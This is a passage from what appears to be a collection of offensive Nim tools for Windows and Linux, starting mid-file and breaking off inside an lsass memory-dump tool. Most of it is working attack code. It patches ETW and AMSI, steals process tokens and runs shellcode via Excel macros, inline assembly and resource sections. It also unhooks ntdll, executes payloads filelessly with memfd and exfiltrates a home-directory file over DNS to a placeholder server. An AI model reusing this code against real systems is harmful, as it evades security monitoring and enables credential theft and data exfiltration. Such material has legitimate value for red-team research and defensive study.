on windows 26 | # it also returns nil if something goes wrong meaning we can add some checks in the code to make sure everything's ok (which you can't really do well when using LoadLibrary() directly through winim) 27 | ntdll = loadLib("ntdll") 28 | if isNil(ntdll): 29 | echo "[X] Failed to load ntdll.dll" 30 | return disabled 31 | 32 | cs = ntdll.symAddr("EtwEventWrite") # equivalent of GetProcAddress() 33 | if isNil(cs): 34 | echo "[X] Failed to get the address of 'EtwEventWrite'" 35 | return disabled 36 | 37 | if VirtualProtect(cs, patch.len, 0x40, addr op): 38 | echo "[*] Applying patch" 39 | copyMem(cs, unsafeAddr patch, patch.len) 40 | VirtualProtect(cs, patch.len, op, addr t) 41 | disabled = true 42 | 43 | return disabled 44 | 45 | when isMainModule: 46 | var success = Patchntdll() 47 | echo fmt"[*] ETW blocked by patch: {bool(success)}" 48 | -------------------------------------------------------------------------------- /src/amsi_patch_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | ]# 6 | 7 | import winim/lean 8 | import strformat 9 | import dynlib 10 | 11 | when defined amd64: 12 | echo "[*] Running in x64 process" 13 | const patch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3] 14 | elif defined i386: 15 | echo "[*] Running in x86 process" 16 | const patch: array[8, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00] 17 | 18 | proc PatchAmsi(): bool = 19 | var 20 | amsi: LibHandle 21 | cs: pointer 22 | op: DWORD 23 | t: DWORD 24 | disabled: bool = false 25 | 26 | # loadLib does the same thing that the dynlib pragma does and is the equivalent of LoadLibrary() on windows 27 | # it also returns nil if something goes wrong meaning we can add some checks in the code to make sure everything's ok (which you can't really do well when using LoadLibrary() directly through winim) 28 | amsi = loadLib("amsi") 29 | if isNil(amsi): 30 | echo "[X] Failed to load amsi.dll" 31 | return disabled 32 | 33 | cs = amsi.symAddr("AmsiScanBuffer") # equivalent of GetProcAddress() 34 | if isNil(cs): 35 | echo "[X] Failed to get the address of 'AmsiScanBuffer'" 36 | return disabled 37 | 38 | if VirtualProtect(cs, patch.len, 0x40, addr op): 39 | echo "[*] Applying patch" 40 | copyMem(cs, unsafeAddr patch, patch.len) 41 | VirtualProtect(cs, patch.len, op, addr t) 42 | disabled = true 43 | 44 | return disabled 45 | 46 | when isMainModule: 47 | var success = PatchAmsi() 48 | echo fmt"[*] AMSI disabled: {bool(success)}" 49 | -------------------------------------------------------------------------------- /src/amsi_providerpatch_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Fabian Mosch & Marcello Salvati, Twitter: @ShitSecure, @byt3bl33d3r 3 | https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf 4 | License: BSD 3-Clause 5 | ]# 6 | 7 | import winim/lean 8 | import strformat 9 | import dynlib 10 | import os, sequtils 11 | 12 | when defined amd64: 13 | echo "[*] Running in x64 process" 14 | const patch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3] 15 | elif defined i386: 16 | echo "[*] Running in x86 process" 17 | const patch: array[8, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00] 18 | 19 | proc PatchAmsi(): bool = 20 | var 21 | amsi: HMODULE 22 | cs: pointer 23 | op: DWORD 24 | t: DWORD 25 | disabled: bool = false 26 | 27 | let filesInPath = toSeq(walkDir("C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\", relative=true)) 28 | var length = len(filesInPath) 29 | # last dir == newest dir 30 | amsi = LoadLibrary(fmt"C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\{filesInPath[length-1].path}\\MpOAV.dll") 31 | if amsi == 0: 32 | echo "[X] Failed to load MpOav.dll" 33 | return disabled 34 | cs = GetProcAddress(amsi,"DllGetClassObject") 35 | if cs == nil: 36 | echo "[X] Failed to get the address of 'DllGetClassObject'" 37 | return disabled 38 | 39 | if VirtualProtect(cs, patch.len, 0x40, addr op): 40 | echo "[*] Applying patch" 41 | copyMem(cs, unsafeAddr patch, patch.len) 42 | VirtualProtect(cs, patch.len, op, addr t) 43 | disabled = true 44 | 45 | return disabled 46 | 47 | when isMainModule: 48 | var success = PatchAmsi() 49 | echo fmt"[*] AMSI disabled: {bool(success)}" 50 | -------------------------------------------------------------------------------- /src/ldap_query_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: @fkadibs 3 | License: BSD 3-Clause 4 | 5 | This is an example of querying Active Directory by using ADO's ADSI provider 6 | ]# 7 | 8 | import winim/com 9 | import strformat 10 | 11 | # Connect to ADSI via ADO COM interface 12 | var conn = CreateObject("ADODB.Connection") 13 | conn.Provider = "ADsDSOObject" 14 | #conn.Properties("User ID") = 15 | #conn.Properties("Password") = 16 | #conn.Properties("Encrypt Password") = true 17 | conn.Open("Active Directory Provider") 18 | 19 | 20 | # Create query object to connection 21 | var command = CreateObject("ADODB.Command") 22 | command.ActiveConnection = conn 23 | # command.Properties("Page Size") = 100 24 | 25 | 26 | # Retrieve DNS name of domain controller 27 | var sysinfo = CreateObject("ADSystemInfo") 28 | var dn = sysinfo.DomainDNSName 29 | var root = fmt"" 30 | 31 | 32 | # Build and execute LDAP query 33 | var queryFilter = "(&(objectCategory=person)(objectClass=user))" 34 | var queryAttrib = "cn,distinguishedName" 35 | var queryText = fmt"{root};{queryFilter};{queryAttrib};SubTree" 36 | command.CommandText = queryText 37 | var records = command.Execute() 38 | 39 | 40 | # Check for empty recordset 41 | if (records.BOF == true) and (records.EOF == true): 42 | echo "No records found" 43 | 44 | 45 | # Iterate over recordset 46 | else: 47 | records.MoveFirst() 48 | while records.EOF == false: 49 | # Iterate over row fields 50 | var i = 0 51 | var row: string 52 | while i < records.Fields.Count: 53 | var field = records.Fields.Item(i) 54 | row = fmt"{row}{field} " 55 | inc i 56 | echo row 57 | records.MoveNext() 58 | 59 | # Cleanup 60 | records.Close() 61 | conn.Close() 62 | -------------------------------------------------------------------------------- /src/token_steal_cmd.nim: -------------------------------------------------------------------------------- 1 | import winim/lean 2 | import std/strformat 3 | import os 4 | import strutils 5 | # CreateProcessWithTokenW sould be used to run single commands it can't display GUI properly. 6 | #https://stackoverflow.com/questions/21716527/in-windows-how-do-you-programatically-launch-a-process-in-administrator-mode-un/21718198#21718198 7 | 8 | proc OpenToken(PID: int,cmdtorun: string): int = 9 | 10 | var cmd = fmt"C:\Windows\System32\cmd.exe /Q /c {cmdtorun}" 11 | 12 | var getproresult = OpenProcess(PROCESS_ALL_ACCESS,TRUE,PID.DWORD) 13 | if getproresult == 0: 14 | echo "Failed to open process handle" 15 | return 1 16 | echo "[*] pHandle: ",getproresult 17 | 18 | var prochand: HANDLE 19 | var resultbool = OpenProcessToken(getproresult, TOKEN_ALL_ACCESS, addr prochand) #https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openthreadtoken 20 | # https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-gettokeninformation 21 | if resultbool == FALSE: 22 | echo "Failed to open process token" 23 | return 1 24 | 25 | 26 | 27 | var newtoken: HANDLE 28 | var dupresult = DuplicateTokenEx(prochand,MAXIMUM_ALLOWED,nil,2,1, addr newtoken) 29 | if bool(dupresult) == FALSE: 30 | echo "Error duplicating token" 31 | return 1 32 | 33 | var si: STARTUPINFO 34 | var pi: PROCESS_INFORMATION 35 | 36 | si.cb = sizeof(si).DWORD 37 | var promake = CreateProcessWithTokenW(newtoken,LOGON_WITH_PROFILE,nil,cmd,0,nil,NULL,addr si, addr pi) 38 | if bool(promake) == FALSE: 39 | echo "Failed to make process" 40 | return 1 41 | 42 | return 0 43 | 44 | 45 | var c = OpenToken(parseInt(paramStr(1)), paramStr(2) ) 46 | echo c 47 | 48 | # Usage: stealtoken.exe 4929 "whoami > c:\windows\temp" 49 | # Result of command is not returned. 50 | 51 | -------------------------------------------------------------------------------- /src/out_compressed_dll_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | Compresses, Base-64 encodes and outputs PowerShell code to load a managed dll in memory. Port of the orignal PowerSploit script to Nim. 6 | 7 | Requires the zippy library ("nimble install zippy") 8 | 9 | References: 10 | - https://github.com/byt3bl33d3r/SILENTTRINITY/blob/master/silenttrinity/core/teamserver/utils.py#L22 11 | - https://github.com/PowerShellMafia/PowerSploit/blob/master/ScriptModification/Out-CompressedDll.ps1 12 | ]# 13 | 14 | import zippy/[inflate, deflate] 15 | import base64 16 | import strformat 17 | import os 18 | 19 | proc dotnet_decode_and_inflate*(data: string): string = 20 | var decoded_data = decode(data) 21 | return cast[string]( 22 | inflate( 23 | cast[seq[uint8]](decoded_data) 24 | ) 25 | ) 26 | 27 | proc dotnet_deflate_and_encode*(data: string): string = 28 | var compressed_data = deflate( 29 | cast[seq[uint8]](data), 30 | level=9 31 | ) 32 | return encode(compressed_data) 33 | 34 | let cmd_line = commandLineParams() 35 | 36 | if cmd_line.len != 1: 37 | echo "Ya need to give me a file dumb dumb" 38 | quit(1) 39 | 40 | let assembly = readFile(cmd_line[0]) 41 | 42 | var deflated_assembly = dotnet_deflate_and_encode(assembly) 43 | 44 | #var inflated_assembly = dotnet_decode_and_inflate(assembly) 45 | 46 | var output = fmt""" 47 | $EncodedCompressedFile = @' 48 | {deflated_assembly} 49 | '@ 50 | $DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress) 51 | $UncompressedFileBytes = New-Object Byte[]({assembly.len}) 52 | $DeflatedStream.Read($UncompressedFileBytes, 0, {assembly.len}) | Out-Null 53 | [Reflection.Assembly]::Load($UncompressedFileBytes) 54 | """ 55 | 56 | echo output 57 | -------------------------------------------------------------------------------- /wip/excel_4_com_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim/com 7 | 8 | comScript: 9 | var objExcel = CreateObject("Excel.Application") 10 | objExcel.Visible = false 11 | var shellcode: array[272, byte] = [ 12 | byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b, 13 | 0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b, 14 | 0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24, 15 | 0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a, 16 | 0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0, 17 | 0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c, 18 | 0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a, 19 | 0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2, 20 | 0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f, 21 | 0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52, 22 | 0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33, 23 | 0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89, 24 | 0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c, 25 | 0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67, 26 | 0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3, 27 | 0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20, 28 | 0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24, 29 | 0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff, 30 | 0x55,0x08] 31 | 32 | var memaddr = objExcel.ExecuteExcel4Macro(&"CALL(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\",0,{shellcode.len},4096,64)") 33 | 34 | objExcel.ExecuteExcel4Macro(&"CALL(\"Kernel32\",\"CreateThread\",\"JJJJJJJ\",0, 0, {memaddr}, 0, 0, 0)") -------------------------------------------------------------------------------- /src/anti_debug_via_tls.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: m4ul3r (@m4ul3r_0x00) 3 | Reference: Maldev Academy 4 | License: BSD 3-Clause 5 | 6 | Description: Utilize TLS to check if a debugger is attached via a breakpoint on the entrypoint. Include the snippet once, to your "main.nim" file. 7 | ]# 8 | 9 | import winim/lean 10 | 11 | {.emit: """ 12 | #include 13 | #include 14 | #define _CRTALLOC(x) __attribute__((section(x))) 15 | """.} 16 | 17 | {.passC:"-masm=intel".} 18 | proc getAddressOfEntryPoint(): pointer {.inline.} = 19 | var pPeb: PPEB 20 | asm """ 21 | mov rax, qword ptr gs:[0x60] 22 | :"=r"(`pPeb`) 23 | """ 24 | var 25 | uModule = cast[int](pPeb.Reserved3[1]) 26 | pImgNtHdrs = cast[PIMAGE_NT_HEADERS](cast[int](uModule) + cast[PIMAGE_DOS_HEADER](uModule).e_lfanew) 27 | return cast[pointer](cast[int](uModule) + pImgNtHdrs.OptionalHeader.AddressOfEntryPoint) 28 | 29 | proc antiDebuggingTlsCallback*(hModule: PVOID, dwReason: DWORD, pContext: PVOID): void {.exportc.} = 30 | var 31 | dwOldProtection: DWORD 32 | entryPoint = getAddressOfEntryPoint() 33 | 34 | # fetch entry point from the "_start" function 35 | if (dwReason == DLL_PROCESS_ATTACH) or (dwReason == DLL_THREAD_ATTACH): 36 | {.emit: """ 37 | printf("[i] Entry Point Address: 0x%p\n", entryPoint); 38 | // Check if breakpoint is set on entrypoint 39 | if (*(BYTE*)entryPoint == 0xcc) { 40 | printf("[!] Entry Point Is Patched With \"INT 3\" Instruction!\n"); 41 | // Overwrite main function with breakpoints 42 | if (VirtualProtect(entryPoint, 4096, PAGE_EXECUTE_READWRITE, &dwOldProtection)) { 43 | memset(entryPoint, 0xCC, 4096); 44 | printf("[+] Entry Point Is Overwritten With 0xCC Bytes!\n"); 45 | } else { 46 | printf("[!] Failed To Overwrite The Entry Point!\n"); 47 | } 48 | } 49 | """.} 50 | 51 | # 52 | {.emit: """_CRTALLOC(".CRT$XLB") PIMAGE_TLS_CALLBACK ___xd_z = (PIMAGE_TLS_CALLBACK) antiDebuggingTlsCallback;""".} 53 | 54 | proc main() = 55 | echo "whoami" 56 | 57 | when isMainModule: 58 | main() -------------------------------------------------------------------------------- /src/shellcode_inline_asm_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | Example of using inline assembly to execute shellcode. This is cool cause it avoids using Windows API's to allocate a region of RWX memory. 6 | 7 | References: 8 | - https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-inline-assembly-in-c-c++ 9 | ]# 10 | 11 | proc runsc(): void = 12 | # msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f csharp 13 | asm """ 14 | .byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xaa,0xc5,0xe2,0x5d,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 15 | ret 16 | """ 17 | 18 | runsc() 19 | echo "Dafuq is going on here" # This doesn't execute, crashes after running the shellcode. No clue why. Must investigate 20 | -------------------------------------------------------------------------------- /src/rsrc_section_shellcode.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: pruno, Twitter: @pruno9 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | #[ How to use 7 | 1 - Create a shellcode using whatever you want, for example : msfvenom -p windows/x64/exec CMD="cmd.exe /c calc.exe" -f raw > tests/rsrc/calc.ico 8 | 2 - Create a resource .rc file and put this in it (one line) : 3 RCDATA "calc.ico" 9 | - the 3 here is arbitrary, you can you put whatever you want 10 | - RCDATA is taken from here : https://docs.microsoft.com/en-us/windows/win32/menurc/resource-types, its type is RT_RCDATA is the linked table 11 | - "calc.io" is the shellcode file created before 12 | 3 - Compile the resource file (needs mingw64) : /usr/bin/x86_64-w64-mingw32-windres resource.rc -o resource.o 13 | 4 - Compile this nim file : nim c -d:mingw rsrc_section_shellcode.nim 14 | 5 - Enjoy 15 | ]# 16 | 17 | import winim, winim/lean 18 | import system 19 | 20 | when defined(gcc) and defined(windows): 21 | {.link: "resource.o"} # the name of compiled resource object file as stated above 22 | 23 | proc main() = 24 | var resourceId = 3 # It is the first value inside the .rc file created before 25 | var resourceType = 10 # RCDATA is 10 (see link above about resource types) 26 | 27 | # Find the resource in the .rsrc section using the information defined above 28 | var myResource: HRSRC = FindResource(cast[HMODULE](NULL), MAKEINTRESOURCE(resourceId), MAKEINTRESOURCE(resourceType)) 29 | 30 | # Get the size of the resource 31 | var myResourceSize: DWORD = SizeofResource(cast[HMODULE](NULL), myResource) 32 | 33 | # Load the resource to copy in the allocated memory space 34 | var myResourceData: HGLOBAL = LoadResource(cast[HMODULE](NULL), myResource) 35 | 36 | # Allocate some memory 37 | let rPtr = VirtualAlloc( 38 | NULL, 39 | cast[SIZE_T](myResourceSize), 40 | MEM_COMMIT, 41 | PAGE_EXECUTE_READ_WRITE 42 | ) 43 | 44 | # Copy the data of the resource into the allocated memory space 45 | copyMem(rPtr, cast[LPVOID](myResourceData), myResourceSize) 46 | 47 | # Current process execution 48 | let a = cast[proc(){.nimcall.}](rPtr) 49 | a() 50 | 51 | when isMainModule: 52 | main() -------------------------------------------------------------------------------- /src/memfd_python_interpreter_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Roger Johnston, Twitter: @VV_X_7 3 | License: GNU AGPLv3 4 | 5 | Use `memfd_create` syscall to load a binary into an anonymous file 6 | and execute it with `execve` syscall. 7 | 8 | References: 9 | - https://0x00sec.org/t/super-stealthy-droppers/3715 10 | - https://x-c3ll.github.io/posts/fileless-memfd_create/ 11 | ]# 12 | 13 | import os 14 | import strformat 15 | import dynlib 16 | import osproc 17 | 18 | 19 | # Use `execve` syscall to execute a file in memory. 20 | proc cexecve(pathname: cstring, argv: ptr cstring, envp: cstring): cint {. 21 | nodecl, importc: "execve", header: "".} 22 | 23 | # Use `memfd_create` syscall to create an anonymous file. 24 | proc c_memfd_create(name: cstring, flags: cint): cint {.header: "", 25 | importc: "memfd_create".} 26 | 27 | proc execveCmd(pathName: string, processName: string): int = 28 | ## Modified osproc.execCmd that uses execve. 29 | when defined(linux): 30 | var pName: seq[string] = @[processName] 31 | var pNameArray: cStringArray = pName.allocCStringArray() 32 | let tmp = cexecve(pathName, pNameArray[0].addr, nil) 33 | result = if tmp == -1: tmp else: exitStatusLikeShell(tmp) 34 | else: 35 | result = cexecve(pathName) 36 | 37 | proc execPython() = 38 | ## Loads a binary into memory and execve's it. 39 | ## 40 | # We'll use a python3 binary from disk. 41 | let pythonPath = "/usr/bin/python3" 42 | # Read the binary into a buffer. 43 | # Use net or http here to load something from a socket. 44 | let buffer = readFile(pythonPath) 45 | 46 | # fd is the file descriptor cint returned by c_memfd_create. 47 | let fd = c_memfd_create("ayylmao", 0) 48 | # Create a FileHandle from the file descriptor. 49 | let handle: FileHandle = fd 50 | # Create a File that we'll open using the memfd file handle. 51 | var memfdFile: File 52 | 53 | # Open the file for writing. 54 | let r = open(memfdFile, handle, fmReadWrite) 55 | # Write the buffer to memfdFile. 56 | write(memfdFile, buffer) 57 | 58 | # Build the anonymous file path from the fd cint. 59 | let proccessID: int = getCurrentProcessId() 60 | let pathName: string = fmt"/proc/{proccessID}/fd/{fd}" 61 | let procName: string = "[kworker/0:l0l]" 62 | 63 | var m = execveCmd(pathName, procName) 64 | 65 | when isMainModule: 66 | execPython() 67 | -------------------------------------------------------------------------------- /src/unhookc.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Fabian Mosch, Twitter: @shitsecure 3 | Credit to https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++, the code is only slightly modified from there. 4 | 5 | For some reason the psapi import doesn't work here, so you have to manually add it via compiler command like that: 6 | nim c -d:release --passL:"-L. -lPsapi" unhookc.nim 7 | 8 | License: BSD 3-Clause 9 | ]# 10 | 11 | 12 | {.emit: """ 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | int ntdllunhook() 20 | { 21 | HANDLE process = GetCurrentProcess(); 22 | MODULEINFO mi; 23 | HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); 24 | 25 | GetModuleInformation(process, ntdllModule, &mi, sizeof(mi)); 26 | LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; 27 | HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); 28 | HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); 29 | LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0); 30 | 31 | PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase; 32 | PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew); 33 | 34 | for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) { 35 | PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); 36 | 37 | if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) { 38 | DWORD oldProtection = 0; 39 | VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection); 40 | memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize); 41 | VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection); 42 | } 43 | } 44 | 45 | CloseHandle(process); 46 | CloseHandle(ntdllFile); 47 | CloseHandle(ntdllMapping); 48 | FreeLibrary(ntdllModule); 49 | 50 | return 0; 51 | } 52 | 53 | """.} 54 | proc unhook(): int 55 | {.importc: "ntdllunhook", nodecl.} 56 | 57 | when isMainModule: 58 | var result = unhook() 59 | # Malicious Windows API code goes here afterwards -------------------------------------------------------------------------------- /src/dns_exfiltrate.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | 3 | Author: HuskyHacks, Twitter: @HuskyHacksMK 4 | License: BSD 3-Clause 5 | 6 | Description: A simple DNS exfiltrator. Reads in the bytes of a specified file, converts them to URL safe b64, then makes TXT record queries to a specified DNS authoritative server. 7 | 8 | Copmpile: 9 | nim c --d:mingw --d:debug --app=console dns_exfiltrate.nim 10 | 11 | Inspired by: https://github.com/samratashok/nishang/blob/master/Utility/Do-Exfiltration.ps1 12 | Something like this: 13 | --- 14 | elseif ($ExfilOption -eq "DNS") 15 | { 16 | $code = Compress-Encode 17 | $queries = [int]($code.Length/63) 18 | while ($queries -ne 0) 19 | { 20 | $querystring = $code.Substring($lengthofsubstr,63) 21 | Invoke-Expression "nslookup -querytype=txt $querystring.$DomainName $AuthNS" 22 | $lengthofsubstr += 63 23 | $queries -= 1 24 | } 25 | $mod = $code.Length%63 26 | $query = $code.Substring($code.Length - $mod, $mod) 27 | Invoke-Expression "nslookup -querytype=txt $query.$DomainName $AuthNS" 28 | --- 29 | 30 | You'll want a listening DNS server at the far end of this to catch the data as it traverses. 31 | 32 | See the Sliver wiki page on DNS C2 for a quick guide on how to set up the required records to do this on a real op: 33 | https://github.com/BishopFox/sliver/wiki/DNS-C2#setup 34 | 35 | ]# 36 | 37 | import dnsclient 38 | import os 39 | from base64 import encode 40 | 41 | 42 | const CHUNK_SIZE = 62 43 | 44 | let homeDir = getHomeDir() 45 | var domain_name = ".yourdnsrecord.local" 46 | var auth_ns = "ns1.authdns.local" 47 | var target_file = homeDir & r"deathstar_engineering_docs.docx" 48 | 49 | proc dns_exfiltrate(ns: string, dom: string, target: string): void = 50 | var content = readFile(target) 51 | let b64 = encode(content, safe=true) 52 | 53 | var stringindex = 0 54 | while stringindex <= b64.len-1: 55 | try: 56 | var query = b64[stringindex .. (if stringindex + CHUNK_SIZE - 1 > b64.len - 1: b64.len - 1 else: stringindex + CHUNK_SIZE - 1)] 57 | let client = newDNSClient(ns) 58 | var dnsquery = query & dom 59 | # echo "[*] ", dnsquery 60 | discard(client.sendQuery(dnsquery, TXT)) 61 | stringindex += CHUNK_SIZE 62 | sleep(3000) 63 | except: 64 | echo "[-] Something broke fam" 65 | quit(1) 66 | 67 | 68 | when isMainModule: 69 | dns_exfiltrate(authNS, domainName, target_file) -------------------------------------------------------------------------------- /src/minidump_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | Enumerates all processes to find lsass.exe and creates a memorydump using MiniDumpWriteDump 6 | 7 | References: 8 | - https://gist.github.com/xpn/e3837a4fdee8ea1b05f7fea5e7ea9444 9 | - https://github.com/juancarlospaco/psutil-nim/blob/master/src/psutil/psutil_windows.nim#L55 10 | - https://github.com/byt3bl33d3r/SILENTTRINITY/blob/master/silenttrinity/core/teamserver/modules/boo/src/minidump.boo 11 | ]# 12 | 13 | import winim 14 | 15 | type 16 | MINIDUMP_TYPE = enum 17 | MiniDumpWithFullMemory = 0x00000002 18 | 19 | proc MiniDumpWriteDump( 20 | hProcess: HANDLE, 21 | ProcessId: DWORD, 22 | hFile: HANDLE, 23 | DumpType: MINIDUMP_TYPE, 24 | ExceptionParam: INT, 25 | UserStreamParam: INT, 26 | CallbackParam: INT 27 | ): BOOL {.importc: "MiniDumpWriteDump", dynlib: "dbghelp", stdcall.} 28 | 29 | proc toString(chars: openArray[WCHAR]): string = 30 | result = "" 31 | for c in chars: 32 | if cast[char](c) == '\0': 33 | break 34 | 